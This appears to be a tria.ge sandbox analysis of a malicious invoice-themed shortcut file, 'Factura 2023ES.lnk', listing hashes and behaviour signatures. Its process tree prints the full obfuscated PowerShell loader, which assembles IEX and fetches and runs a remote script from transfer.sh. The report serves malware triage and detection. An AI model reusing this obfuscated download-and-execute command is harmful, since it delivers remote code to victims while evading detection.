Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
31s -
max time network
33s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
06/03/2023, 10:29
Static task
static1
Behavioral task
behavioral1
Sample
Factura 2023ES.lnk
Resource
win7-20230220-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
Factura 2023ES.lnk
Resource
win10v2004-20230220-en
11 signatures
150 seconds
General
-
Target
Factura 2023ES.lnk
-
Size
1KB
-
MD5
2938fdec9b9ba2f6e1130ff5ec609e32
-
SHA1
b11608fdcf8a6936dfbc705a245b24baa2df9761
-
SHA256
d1c5a092545dcf35a98d86f5a1886e24d6e872b36369fda4c1edcf948451d1be
-
SHA512
78b54c150a924beb2e8cb607ccf56a18102fe5e7696a6dc3da87be280a607ff3790bd93a3e31f8b02050a6870d69010f17f9767bf470d24f1b35110ec314d81b
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1104 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1104 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 928 wrote to memory of 1104 928 cmd.exe 29 PID 928 wrote to memory of 1104 928 cmd.exe 29 PID 928 wrote to memory of 1104 928 cmd.exe 29
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Factura 2023ES.lnk"1⤵
- Suspicious use of WriteProcessMemory
PID:928 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${.*} = $PSHOME[+22 -24 +2] + $PSHOME[-12 +3] + 'a' + $PSHOME[-66 +55];${g^4} = $([TYPE]${.*});${.**} = ${g^4}::ToString(+79 -1 -5);${.**..} = ${g^4}::ToString(+79 -1 -5 -4);${..***} = ${g^4}::ToString(+79 +30 -10 +21);&(${.**} +${.**..} + ${..***})(&(${.**} +${.**..} + ${..***})($PSHOME[+52 -53 +1]+'u'+$PSHOME[-66 +55]+$PSHOME[-61 +55]+' https://transfer.sh/get/3AyJAF/renamethis.txt -UseBasicParsing')).Content2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1104
-